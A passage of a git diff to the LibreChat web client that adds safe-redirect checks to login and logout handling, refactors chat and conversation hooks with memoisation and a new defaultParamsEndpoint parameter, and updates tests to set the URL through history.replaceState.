diff --git a/client/src/hooks/AuthContext.tsx b/client/src/hooks/AuthContext.tsx
index d9d583783a..c55980c0d2 100644
--- a/client/src/hooks/AuthContext.tsx
+++ b/client/src/hooks/AuthContext.tsx
@@ -3,7 +3,6 @@ import {
useMemo,
useState,
useEffect,
- ReactNode,
useContext,
useCallback,
createContext,
@@ -11,8 +10,14 @@ import {
import { debounce } from 'lodash';
import { useRecoilState } from 'recoil';
import { useNavigate } from 'react-router-dom';
-import { setTokenHeader, SystemRoles } from 'librechat-data-provider';
+import {
+ apiBaseUrl,
+ SystemRoles,
+ setTokenHeader,
+ buildLoginRedirectUrl,
+} from 'librechat-data-provider';
import type * as t from 'librechat-data-provider';
+import type { ReactNode } from 'react';
import {
useGetRole,
useGetUserQuery,
@@ -21,6 +26,7 @@ import {
useRefreshTokenMutation,
} from '~/data-provider';
import { TAuthConfig, TUserContext, TAuthContext, TResError } from '~/common';
+import { SESSION_KEY, isSafeRedirect, getPostLoginRedirect } from '~/utils';
import useTimeout from './useTimeout';
import store from '~/store';
@@ -33,11 +39,12 @@ const AuthContextProvider = ({
authConfig?: TAuthConfig;
children: ReactNode;
}) => {
+ const isExternalRedirectRef = useRef(false);
const [user, setUser] = useRecoilState(store.user);
+ const logoutRedirectRef = useRef(undefined);
const [token, setToken] = useState(undefined);
const [error, setError] = useState(undefined);
const [isAuthenticated, setIsAuthenticated] = useState(false);
- const logoutRedirectRef = useRef(undefined);
const { data: userRole = null } = useGetRole(SystemRoles.USER, {
enabled: !!(isAuthenticated && (user?.role ?? '')),
@@ -54,24 +61,25 @@ const AuthContextProvider = ({
const { token, isAuthenticated, user, redirect } = userContext;
setUser(user);
setToken(token);
- //@ts-ignore - ok for token to be undefined initially
setTokenHeader(token);
setIsAuthenticated(isAuthenticated);
- // Use a custom redirect if set
- const finalRedirect = logoutRedirectRef.current || redirect;
- // Clear the stored redirect
+ const searchParams = new URLSearchParams(window.location.search);
+ const postLoginRedirect = getPostLoginRedirect(searchParams);
+
+ const logoutRedirect = logoutRedirectRef.current;
logoutRedirectRef.current = undefined;
+ const finalRedirect =
+ logoutRedirect ??
+ postLoginRedirect ??
+ (redirect && isSafeRedirect(redirect) ? redirect : null);
+
if (finalRedirect == null) {
return;
}
- if (finalRedirect.startsWith('http://') || finalRedirect.startsWith('https://')) {
- window.location.href = finalRedirect;
- } else {
- navigate(finalRedirect, { replace: true });
- }
+ navigate(finalRedirect, { replace: true });
}, 50),
[navigate, setUser],
);
@@ -81,7 +89,6 @@ const AuthContextProvider = ({
onSuccess: (data: t.TLoginResponse) => {
const { user, token, twoFAPending, tempToken } = data;
if (twoFAPending) {
- // Redirect to the two-factor authentication route.
navigate(`/login/2fa?tempToken=${tempToken}`, { replace: true });
return;
}
@@ -91,16 +98,34 @@ const AuthContextProvider = ({
onError: (error: TResError | unknown) => {
const resError = error as TResError;
doSetError(resError.message);
- navigate('/login', { replace: true });
+ // Preserve a valid redirect_to across login failures so the deep link survives retries.
+ // Cannot use buildLoginRedirectUrl() here — it reads the current pathname (already /login)
+ // and would return plain /login, dropping the redirect_to destination.
+ const redirectTo = new URLSearchParams(window.location.search).get('redirect_to');
+ const loginPath =
+ redirectTo && isSafeRedirect(redirectTo)
+ ? `/login?redirect_to=${encodeURIComponent(redirectTo)}`
+ : '/login';
+ navigate(loginPath, { replace: true });
},
});
const logoutUser = useLogoutUserMutation({
onSuccess: (data) => {
+ if (data.redirect) {
+ /** data.redirect is the IdP's end_session_endpoint URL — an absolute URL generated
+ * server-side from trusted IdP metadata (not user input), so isSafeRedirect is bypassed.
+ * setUserContext is debounced (50ms) and won't fire before page unload, so clear the
+ * axios Authorization header synchronously to prevent in-flight requests. */
+ isExternalRedirectRef.current = true;
+ setTokenHeader(undefined);
+ window.location.replace(data.redirect);
+ return;
+ }
setUserContext({
token: undefined,
isAuthenticated: false,
user: undefined,
- redirect: data.redirect ?? '/login',
+ redirect: '/login',
});
},
onError: (error) => {
@@ -136,35 +161,60 @@ const AuthContextProvider = ({
console.log('Test mode. Skipping silent refresh.');
return;
}
+ if (isExternalRedirectRef.current) {
+ return;
+ }
refreshToken.mutate(undefined, {
onSuccess: (data: t.TRefreshTokenResponse | undefined) => {
+ if (isExternalRedirectRef.current) {
+ return;
+ }
const { user, token = '' } = data ?? {};
if (token) {
- setUserContext({ token, isAuthenticated: true, user });
- } else {
- console.log('Token is not present. User is not authenticated.');
- if (authConfig?.test === true) {
- return;
- }
- navigate('/login');
+ const storedRedirect = sessionStorage.getItem(SESSION_KEY);
+ sessionStorage.removeItem(SESSION_KEY);
+ const baseUrl = apiBaseUrl();
+ const rawPath = window.location.pathname;
+ const strippedPath =
+ baseUrl && (rawPath === baseUrl || rawPath.startsWith(baseUrl + '/'))
+ ? rawPath.slice(baseUrl.length) || '/'
+ : rawPath;
+ const currentUrl = `${strippedPath}${window.location.search}`;
+ const fallbackRedirect = isSafeRedirect(currentUrl) ? currentUrl : '/c/new';
+ const redirect =
+ storedRedirect && isSafeRedirect(storedRedirect) ? storedRedirect : fallbackRedirect;
+ setUserContext({ user, token, isAuthenticated: true, redirect });
+ return;
}
+ console.log('Token is not present. User is not authenticated.');
+ if (authConfig?.test === true) {
+ return;
+ }
+ navigate(buildLoginRedirectUrl());
},
onError: (error) => {
+ if (isExternalRedirectRef.current) {
+ return;
+ }
console.log('refreshToken mutation error:', error);
if (authConfig?.test === true) {
return;
}
- navigate('/login');
+ navigate(buildLoginRedirectUrl());
},
});
+ // eslint-disable-next-line react-hooks/exhaustive-deps -- deps are stable at mount; adding refreshToken causes infinite re-fire
}, []);
useEffect(() => {
+ if (isExternalRedirectRef.current) {
+ return;
+ }
if (userQuery.data) {
setUser(userQuery.data);
} else if (userQuery.isError) {
doSetError((userQuery.error as Error).message);
- navigate('/login', { replace: true });
+ navigate(buildLoginRedirectUrl(), { replace: true });
}
if (error != null && error && isAuthenticated) {
doSetError(undefined);
@@ -186,24 +236,22 @@ const AuthContextProvider = ({
]);
useEffect(() => {
- const handleTokenUpdate = (event) => {
+ const handleTokenUpdate = (event: CustomEvent) => {
console.log('tokenUpdated event received event');
- const newToken = event.detail;
setUserContext({
- token: newToken,
+ token: event.detail,
isAuthenticated: true,
user: user,
});
};
- window.addEventListener('tokenUpdated', handleTokenUpdate);
+ window.addEventListener('tokenUpdated', handleTokenUpdate as EventListener);
return () => {
- window.removeEventListener('tokenUpdated', handleTokenUpdate);
+ window.removeEventListener('tokenUpdated', handleTokenUpdate as EventListener);
};
}, [setUserContext, user]);
- // Make the provider update only when it should
const memoedValue = useMemo(
() => ({
user,
diff --git a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
index e0dbac5a1e..ba83b0aeb5 100644
--- a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
+++ b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
@@ -39,14 +39,12 @@ describe('useFocusChatEffect', () => {
state: { focusChat: true },
});
- // Mock window.location
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '',
- },
- writable: true,
- });
+ // Set default window.location
+ window.history.replaceState({}, '', '/c/new');
+ });
+
+ afterEach(() => {
+ window.history.replaceState({}, '', '/');
});
describe('Basic functionality', () => {
@@ -115,14 +113,7 @@ describe('useFocusChatEffect', () => {
testDescription: string;
}) => {
test(`${testDescription}`, () => {
- // Mock window.location
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: windowLocationSearch,
- },
- writable: true,
- });
+ window.history.replaceState({}, '', `/c/new${windowLocationSearch}`);
// Mock React Router's location
(useLocation as jest.Mock).mockReturnValue({
@@ -144,13 +135,7 @@ describe('useFocusChatEffect', () => {
};
test('should use window.location.search instead of location.search', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=test_agent_id',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=test_agent_id');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -223,13 +208,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation immediately after URL parameter changes', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?endpoint=openAI&model=gpt-4',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?endpoint=openAI&model=gpt-4');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -249,13 +228,7 @@ describe('useFocusChatEffect', () => {
jest.clearAllMocks();
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=agent123',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=agent123');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new_changed',
@@ -275,13 +248,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle undefined or null search params gracefully', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: undefined,
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -301,14 +268,6 @@ describe('useFocusChatEffect', () => {
jest.clearAllMocks();
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: null,
- },
- writable: true,
- });
-
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
search: null,
@@ -327,13 +286,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when location.state is null', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=agent123',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=agent123');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -348,13 +301,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when location.state.focusChat is undefined', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '?agent_id=agent123',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new?agent_id=agent123');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -369,13 +316,7 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when both search params are empty', () => {
- Object.defineProperty(window, 'location', {
- value: {
- pathname: '/c/new',
- search: '',
- },
- writable: true,
- });
+ window.history.replaceState({}, '', '/c/new');
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
diff --git a/client/src/hooks/Chat/useAddedResponse.ts b/client/src/hooks/Chat/useAddedResponse.ts
index c01cef0c69..fe35e4e56e 100644
--- a/client/src/hooks/Chat/useAddedResponse.ts
+++ b/client/src/hooks/Chat/useAddedResponse.ts
@@ -1,7 +1,12 @@
import { useCallback } from 'react';
import { useRecoilValue } from 'recoil';
import { useGetModelsQuery } from 'librechat-data-provider/react-query';
-import { getEndpointField, LocalStorageKeys, isAssistantsEndpoint } from 'librechat-data-provider';
+import {
+ getEndpointField,
+ LocalStorageKeys,
+ isAssistantsEndpoint,
+ getDefaultParamsEndpoint,
+} from 'librechat-data-provider';
import type { TEndpointsConfig, EModelEndpoint, TConversation } from 'librechat-data-provider';
import type { AssistantListItem, NewConversationParams } from '~/common';
import useAssistantListMap from '~/hooks/Assistants/useAssistantListMap';
@@ -84,11 +89,13 @@ export default function useAddedResponse() {
}
const models = modelsConfig?.[defaultEndpoint ?? ''] ?? [];
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint);
newConversation = buildDefaultConvo({
conversation: newConversation,
lastConversationSetup: preset as TConversation,
endpoint: defaultEndpoint ?? ('' as EModelEndpoint),
models,
+ defaultParamsEndpoint,
});
if (preset?.title != null && preset.title !== '') {
diff --git a/client/src/hooks/Chat/useChatFunctions.ts b/client/src/hooks/Chat/useChatFunctions.ts
index 8479d8eaac..7cf8c6bf25 100644
--- a/client/src/hooks/Chat/useChatFunctions.ts
+++ b/client/src/hooks/Chat/useChatFunctions.ts
@@ -13,6 +13,7 @@ import {
parseCompactConvo,
replaceSpecialVars,
isAssistantsEndpoint,
+ getDefaultParamsEndpoint,
} from 'librechat-data-provider';
import type {
TMessage,
@@ -96,6 +97,8 @@ export default function useChatFunctions({
) => {
setShowStopButton(false);
resetLatestMultiMessage();
+
+ text = text.trim();
if (!!isSubmitting || text === '') {
return;
}
@@ -133,7 +136,6 @@ export default function useChatFunctions({
// construct the query message
// this is not a real messageId, it is used as placeholder before real messageId returned
- text = text.trim();
const intermediateId = overrideUserMessageId ?? v4();
parentMessageId = parentMessageId ?? latestMessage?.messageId ?? Constants.NO_PARENT;
@@ -173,12 +175,14 @@ export default function useChatFunctions({
const startupConfig = queryClient.getQueryData([QueryKeys.startupConfig]);
const endpointType = getEndpointField(endpointsConfig, endpoint, 'type');
const iconURL = conversation?.iconURL;
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
/** This becomes part of the `endpointOption` */
const convo = parseCompactConvo({
endpoint: endpoint as EndpointSchemaKey,
endpointType: endpointType as EndpointSchemaKey,
conversation: conversation ?? {},
+ defaultParamsEndpoint,
});
const { modelDisplayLabel } = endpointsConfig?.[endpoint ?? ''] ?? {};
diff --git a/client/src/hooks/Chat/useChatHelpers.ts b/client/src/hooks/Chat/useChatHelpers.ts
index 46d38d3a4d..219c370418 100644
--- a/client/src/hooks/Chat/useChatHelpers.ts
+++ b/client/src/hooks/Chat/useChatHelpers.ts
@@ -1,12 +1,11 @@
-import { useCallback, useState } from 'react';
+import { useCallback, useMemo, useRef, useState } from 'react';
import { QueryKeys, isAssistantsEndpoint } from 'librechat-data-provider';
import { useQueryClient } from '@tanstack/react-query';
import { useRecoilState, useResetRecoilState, useSetRecoilState } from 'recoil';
import type { TMessage } from 'librechat-data-provider';
import type { ActiveJobsResponse } from '~/data-provider';
-import { useGetMessagesByConvoId, useAbortStreamMutation } from '~/data-provider';
import useChatFunctions from '~/hooks/Chat/useChatFunctions';
-import { useAuthContext } from '~/hooks/AuthContext';
+import { useAbortStreamMutation } from '~/data-provider';
import useNewConvo from '~/hooks/useNewConvo';
import store from '~/store';
@@ -17,7 +16,6 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const [filesLoading, setFilesLoading] = useState(false);
const queryClient = useQueryClient();
- const { isAuthenticated } = useAuthContext();
const abortMutation = useAbortStreamMutation();
const { newConversation } = useNewConvo(index);
@@ -29,15 +27,15 @@ export default function useChatHelpers(index = 0, paramId?: string) {
Falling back to conversationId (Recoil) only if paramId is not available */
const queryParam = paramId === 'new' ? paramId : (paramId ?? conversationId ?? '');
- /* Messages: here simply to fetch, don't export and use `getMessages()` instead */
-
- const { data: _messages } = useGetMessagesByConvoId(queryParam, {
- enabled: isAuthenticated,
- });
-
const resetLatestMessage = useResetRecoilState(store.latestMessageFamily(index));
const [isSubmitting, setIsSubmitting] = useRecoilState(store.isSubmittingFamily(index));
const [latestMessage, setLatestMessage] = useRecoilState(store.latestMessageFamily(index));
+
+ const latestMessageId = latestMessage?.messageId;
+ const latestMessageDepth = latestMessage?.depth;
+ const latestMessageRef = useRef(latestMessage);
+ latestMessageRef.current = latestMessage;
+
const setSiblingIdx = useSetRecoilState(
store.messagesSiblingIdxFamily(latestMessage?.parentMessageId ?? null),
);
@@ -77,7 +75,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const setSubmission = useSetRecoilState(store.submissionByIndex(index));
- const { ask, regenerate } = useChatFunctions({
+ const { ask: _ask, regenerate: _regenerate } = useChatFunctions({
index,
files,
setFiles,
@@ -90,8 +88,20 @@ export default function useChatHelpers(index = 0, paramId?: string) {
setLatestMessage,
});
- const continueGeneration = () => {
- if (!latestMessage) {
+ const askRef = useRef(_ask);
+ askRef.current = _ask;
+ const ask: typeof _ask = useCallback((...args) => askRef.current(...args), []);
+
+ const regenerateRef = useRef(_regenerate);
+ regenerateRef.current = _regenerate;
+ const regenerate: typeof _regenerate = useCallback(
+ (...args) => regenerateRef.current(...args),
+ [],
+ );
+
+ const continueGeneration = useCallback(() => {
+ const currentLatest = latestMessageRef.current;
+ if (!currentLatest) {
console.error('Failed to regenerate the message: latestMessage not found.');
return;
}
@@ -99,7 +109,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const messages = getMessages();
const parentMessage = messages?.find(
- (element) => element.messageId == latestMessage.parentMessageId,
+ (element) => element.messageId == currentLatest.parentMessageId,
);
if (parentMessage && parentMessage.isCreatedByUser) {
@@ -109,7 +119,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
'Failed to regenerate the message: parentMessage not found, or not created by user.',
);
}
- };
+ }, [getMessages, ask]);
/**
* Stop generation - for non-assistants endpoints, calls abort endpoint first.
@@ -153,64 +163,107 @@ export default function useChatHelpers(index = 0, paramId?: string) {
}
}, [conversationId, endpoint, endpointType, abortMutation, clearAllSubmissions, queryClient]);
- const handleStopGenerating = (e: React.MouseEvent) => {
- e.preventDefault();
- stopGenerating();
- };
+ const handleStopGenerating = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ stopGenerating();
+ },
+ [stopGenerating],
+ );
- const handleRegenerate = (e: React.MouseEvent) => {
- e.preventDefault();
- const parentMessageId = latestMessage?.parentMessageId ?? '';
- if (!parentMessageId) {
- console.error('Failed to regenerate the message: parentMessageId not found.');
- return;
- }
- regenerate({ parentMessageId });
- };
+ const handleRegenerate = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ const parentMessageId = latestMessageRef.current?.parentMessageId ?? '';
+ if (!parentMessageId) {
+ console.error('Failed to regenerate the message: parentMessageId not found.');
+ return;
+ }
+ regenerate({ parentMessageId });
+ },
+ [regenerate],
+ );
- const handleContinue = (e: React.MouseEvent) => {
- e.preventDefault();
- continueGeneration();
- setSiblingIdx(0);
- };
+ const handleContinue = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ continueGeneration();
+ setSiblingIdx(0);
+ },
+ [continueGeneration, setSiblingIdx],
+ );
const [preset, setPreset] = useRecoilState(store.presetByIndex(index));
const [showPopover, setShowPopover] = useRecoilState(store.showPopoverFamily(index));
const [abortScroll, setAbortScroll] = useRecoilState(store.abortScrollFamily(index));
const [optionSettings, setOptionSettings] = useRecoilState(store.optionSettingsFamily(index));
- return {
- newConversation,
- conversation,
- setConversation,
- // getConvos,
- // setConvos,
- isSubmitting,
- setIsSubmitting,
- getMessages,
- setMessages,
- setSiblingIdx,
- latestMessage,
- setLatestMessage,
- resetLatestMessage,
- ask,
- index,
- regenerate,
- stopGenerating,
- handleStopGenerating,
- handleRegenerate,
- handleContinue,
- showPopover,
- setShowPopover,
- abortScroll,
- setAbortScroll,
- preset,
- setPreset,
- optionSettings,
- setOptionSettings,
- files,
- setFiles,
- filesLoading,
- setFilesLoading,
- };
+ return useMemo(
+ () => ({
+ newConversation,
+ conversation,
+ setConversation,
+ isSubmitting,
+ setIsSubmitting,
+ getMessages,
+ setMessages,
+ setSiblingIdx,
+ latestMessageId,
+ latestMessageDepth,
+ setLatestMessage,
+ resetLatestMessage,
+ ask,
+ index,
+ regenerate,
+ stopGenerating,
+ handleStopGenerating,
+ handleRegenerate,
+ handleContinue,
+ showPopover,
+ setShowPopover,
+ abortScroll,
+ setAbortScroll,
+ preset,
+ setPreset,
+ optionSettings,
+ setOptionSettings,
+ files,
+ setFiles,
+ filesLoading,
+ setFilesLoading,
+ }),
+ [
+ newConversation,
+ conversation,
+ setConversation,
+ isSubmitting,
+ setIsSubmitting,
+ getMessages,
+ setMessages,
+ setSiblingIdx,
+ latestMessageId,
+ latestMessageDepth,
+ setLatestMessage,
+ resetLatestMessage,
+ ask,
+ index,
+ regenerate,
+ stopGenerating,
+ handleStopGenerating,
+ handleRegenerate,
+ handleContinue,
+ showPopover,
+ setShowPopover,
+ abortScroll,
+ setAbortScroll,
+ preset,
+ setPreset,
+ optionSettings,
+ setOptionSettings,
+ files,
+ setFiles,
+ filesLoading,
+ setFilesLoading,
+ ],
+ );
}
diff --git a/client/src/hooks/Conversations/index.ts b/client/src/hooks/Conversations/index.ts
index 6c35ad5da9..2659ace457 100644
--- a/client/src/hooks/Conversations/index.ts
+++ b/client/src/hooks/Conversations/index.ts
@@ -4,6 +4,7 @@ export { default as useDefaultConvo } from './useDefaultConvo';
export { default as useSearchEnabled } from './useSearchEnabled';
export { default as useGenerateConvo } from './useGenerateConvo';
export { default as useDebouncedInput } from './useDebouncedInput';
+export { default as useGetConversation } from './useGetConversation';
export { default as useBookmarkSuccess } from './useBookmarkSuccess';
export { default as useNavigateToConvo } from './useNavigateToConvo';
export { default as useSetIndexOptions } from './useSetIndexOptions';
diff --git a/client/src/hooks/Conversations/useDefaultConvo.ts b/client/src/hooks/Conversations/useDefaultConvo.ts
index bfca39d3e0..697854924b 100644
--- a/client/src/hooks/Conversations/useDefaultConvo.ts
+++ b/client/src/hooks/Conversations/useDefaultConvo.ts
@@ -1,5 +1,6 @@
-import { excludedKeys } from 'librechat-data-provider';
+import { useCallback } from 'react';
import { useGetModelsQuery } from 'librechat-data-provider/react-query';
+import { excludedKeys, getDefaultParamsEndpoint } from 'librechat-data-provider';
import type {
TEndpointsConfig,
TModelsConfig,
@@ -22,54 +23,55 @@ const useDefaultConvo = () => {
const { data: endpointsConfig = {} as TEndpointsConfig } = useGetEndpointsQuery();
const { data: modelsConfig = {} as TModelsConfig } = useGetModelsQuery();
- const getDefaultConversation = ({
- conversation: _convo,
- preset,
- cleanInput,
- cleanOutput,
- }: TDefaultConvo) => {
- const endpoint = getDefaultEndpoint({
- convoSetup: preset as TPreset,
- endpointsConfig,
- });
+ const getDefaultConversation = useCallback(
+ ({ conversation: _convo, preset, cleanInput, cleanOutput }: TDefaultConvo) => {
+ const endpoint = getDefaultEndpoint({
+ convoSetup: preset as TPreset,
+ endpointsConfig,
+ });
- const models = modelsConfig[endpoint ?? ''] || [];
- const conversation = { ..._convo };
- if (cleanInput === true) {
- for (const key in conversation) {
+ const models = modelsConfig[endpoint ?? ''] || [];
+ const conversation = { ..._convo };
+ if (cleanInput === true) {
+ for (const key in conversation) {
+ if (excludedKeys.has(key) && !exceptions.has(key)) {
+ continue;
+ }
+ if (conversation[key] == null) {
+ continue;
+ }
+ conversation[key] = undefined;
+ }
+ }
+
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
+
+ const defaultConvo = buildDefaultConvo({
+ conversation: conversation as TConversation,
+ endpoint,
+ lastConversationSetup: preset as TConversation,
+ models,
+ defaultParamsEndpoint,
+ });
+
+ if (!cleanOutput) {
+ return defaultConvo;
+ }
+
+ for (const key in defaultConvo) {
if (excludedKeys.has(key) && !exceptions.has(key)) {
continue;
}
- if (conversation[key] == null) {
+ if (defaultConvo[key] == null) {
continue;
}
- conversation[key] = undefined;
+ defaultConvo[key] = undefined;
}
- }
- const defaultConvo = buildDefaultConvo({
- conversation: conversation as TConversation,
- endpoint,
- lastConversationSetup: preset as TConversation,
- models,
- });
-
- if (!cleanOutput) {
return defaultConvo;
- }
-
- for (const key in defaultConvo) {
- if (excludedKeys.has(key) && !exceptions.has(key)) {
- continue;
- }
- if (defaultConvo[key] == null) {
- continue;
- }
- defaultConvo[key] = undefined;
- }
-
- return defaultConvo;
- };
+ },
+ [endpointsConfig, modelsConfig],
+ );
return getDefaultConversation;
};
diff --git a/client/src/hooks/Conversations/useExportConversation.ts b/client/src/hooks/Conversations/useExportConversation.ts
index 579b5f1cf6..dc352ccab9 100644
--- a/client/src/hooks/Conversations/useExportConversation.ts
+++ b/client/src/hooks/Conversations/useExportConversation.ts
@@ -106,6 +106,9 @@ export default function useExportConversation({
// TEXT
const textPart = content[ContentTypes.TEXT];
const text = typeof textPart === 'string' ? textPart : (textPart?.value ?? '');
+ if (text.trim().length === 0) {
+ return [];
+ }
return [sender, text];
}
diff --git a/client/src/hooks/Conversations/useGenerateConvo.ts b/client/src/hooks/Conversations/useGenerateConvo.ts
index d96f60e05d..abe3215753 100644
--- a/client/src/hooks/Conversations/useGenerateConvo.ts
+++ b/client/src/hooks/Conversations/useGenerateConvo.ts
@@ -1,7 +1,12 @@
import { useRecoilValue } from 'recoil';
import { useCallback, useRef, useEffect } from 'react';
import { useGetModelsQuery } from 'librechat-data-provider/react-query';
-import { getEndpointField, LocalStorageKeys, isAssistantsEndpoint } from 'librechat-data-provider';
+import {
+ getEndpointField,
+ LocalStorageKeys,
+ isAssistantsEndpoint,
+ getDefaultParamsEndpoint,
+} from 'librechat-data-provider';
import type {
TEndpointsConfig,
EModelEndpoint,
@@ -117,11 +122,13 @@ const useGenerateConvo = ({
}
const models = modelsConfig?.[defaultEndpoint ?? ''] ?? [];
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint);
conversation = buildDefaultConvo({
conversation,
lastConversationSetup: preset as TConversation,
endpoint: defaultEndpoint ?? ('' as EModelEndpoint),
models,
+ defaultParamsEndpoint,
});
if (preset?.title != null && preset.title !== '') {
diff --git a/client/src/hooks/Conversations/useGetConversation.ts b/client/src/hooks/Conversations/useGetConversation.ts
new file mode 100644
index 0000000000..3b63e79f7f
--- /dev/null
+++ b/client/src/hooks/Conversations/useGetConversation.ts
@@ -0,0 +1,14 @@
+import { useRecoilCallback } from 'recoil';
+import type { TConversation } from 'librechat-data-provider';
+import store from '~/store';
+
+export default function useGetConversation(index: string | number = 0) {
+ return useRecoilCallback(
+ ({ snapshot }) =>
+ () =>
+ snapshot
+ .getLoadable(store.conversationByKeySelector(index))
+ .getValue() as TConversation | null,
+ [index],
+ );
+}
diff --git a/client/src/hooks/Conversations/useNavigateToConvo.tsx b/client/src/hooks/Conversations/useNavigateToConvo.tsx
index 114b70c6ef..b9d188eaf0 100644
--- a/client/src/hooks/Conversations/useNavigateToConvo.tsx
+++ b/client/src/hooks/Conversations/useNavigateToConvo.tsx
@@ -2,7 +2,13 @@ import { useCallback } from 'react';
import { useSetRecoilState } from 'recoil';
import { useNavigate } from 'react-router-dom';
import { useQueryClient } from '@tanstack/react-query';
-import { QueryKeys, Constants, dataService, getEndpointField } from 'librechat-data-provider';
+import {
+ QueryKeys,
+ Constants,
+ dataService,
+ getEndpointField,
+ getDefaultParamsEndpoint,
+} from 'librechat-data-provider';
import type {
TEndpointsConfig,
TStartupConfig,
@@ -106,11 +112,13 @@ const useNavigateToConvo = (index = 0) => {
const models = modelsConfig?.[defaultEndpoint ?? ''] ?? [];
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint);
convo = buildDefaultConvo({
models,
conversation,
endpoint: defaultEndpoint,
lastConversationSetup: conversation,
+ defaultParamsEndpoint,
});
}
clearAllConversations(true);
diff --git a/client/src/hooks/Conversations/usePresets.ts b/client/src/hooks/Conversations/usePresets.ts
index 90ca5ab132..2165e1966e 100644
--- a/client/src/hooks/Conversations/usePresets.ts
+++ b/client/src/hooks/Conversations/usePresets.ts
@@ -13,19 +13,20 @@ import {
useGetPresetsQuery,
} from '~/data-provider';
import { cleanupPreset, removeUnavailableTools, getConvoSwitchLogic } from '~/utils';
+import useGetConversation from '~/hooks/Conversations/useGetConversation';
import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
import { useAuthContext } from '~/hooks/AuthContext';
import { NotificationSeverity } from '~/common';
import useNewConvo from '~/hooks/useNewConvo';
-import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks';
import store from '~/store';
-export default function usePresets() {
+export default function usePresets(index = 0) {
const localize = useLocalize();
const hasLoaded = useRef(false);
const queryClient = useQueryClient();
const { showToast } = useToastContext();
+ const getConversation = useGetConversation(index);
const { user, isAuthenticated } = useAuthContext();
const [showDeleteDialog, setShowDeleteDialog] = useState(false);
const [presetToDelete, setPresetToDelete] = useState(null);
@@ -35,7 +36,9 @@ export default function usePresets() {
const setPresetModalVisible = useSetRecoilState(store.presetModalVisible);
const [_defaultPreset, setDefaultPreset] = useRecoilState(store.defaultPreset);
const presetsQuery = useGetPresetsQuery({ enabled: !!user && isAuthenticated });
- const { preset, conversation, index, setPreset } = useChatContext();
+ const preset = useRecoilValue(store.presetByIndex(index));
+ const setPreset = useSetRecoilState(store.presetByIndex(index));
+ const conversationId = useRecoilValue(store.conversationIdByIndex(index));
const { data: modelsData } = useGetModelsQuery();
const { newConversation } = useNewConvo(index);
@@ -60,13 +63,13 @@ export default function usePresets() {
return;
}
setDefaultPreset(defaultPreset);
- if (!conversation?.conversationId || conversation.conversationId === 'new') {
+ if (!conversationId || conversationId === 'new') {
newConversation({ preset: defaultPreset, modelsData, disableParams: true });
}
hasLoaded.current = true;
// dependencies are stable and only needed once
// eslint-disable-next-line react-hooks/exhaustive-deps
- }, [presetsQuery.data, user, modelsData]);
+ }, [presetsQuery.data, user, modelsData, conversationId]);
const setPresets = useCallback(
(presets: TPreset[]) => {
@@ -164,6 +167,7 @@ export default function usePresets() {
return;
}
+ const conversation = getConversation();
const newPreset = removeUnavailableTools(_newPreset, availableTools);
const toastTitle = newPreset.title
diff --git a/client/src/hooks/Endpoint/UnknownIcon.tsx b/client/src/hooks/Endpoint/UnknownIcon.tsx
index 20619e0b7d..be7531a34a 100644
--- a/client/src/hooks/Endpoint/UnknownIcon.tsx
+++ b/client/src/hooks/Endpoint/UnknownIcon.tsx
@@ -1,6 +1,6 @@
import { memo } from 'react';
-import { CustomMinimalIcon, XAIcon } from '@librechat/client';
import { EModelEndpoint, KnownEndpoints } from 'librechat-data-provider';
+import { CustomMinimalIcon, XAIcon, MoonshotIcon } from '@librechat/client';
import { IconContext } from '~/common';
import { cn } from '~/utils';
@@ -30,9 +30,6 @@ const knownEndpointClasses = {
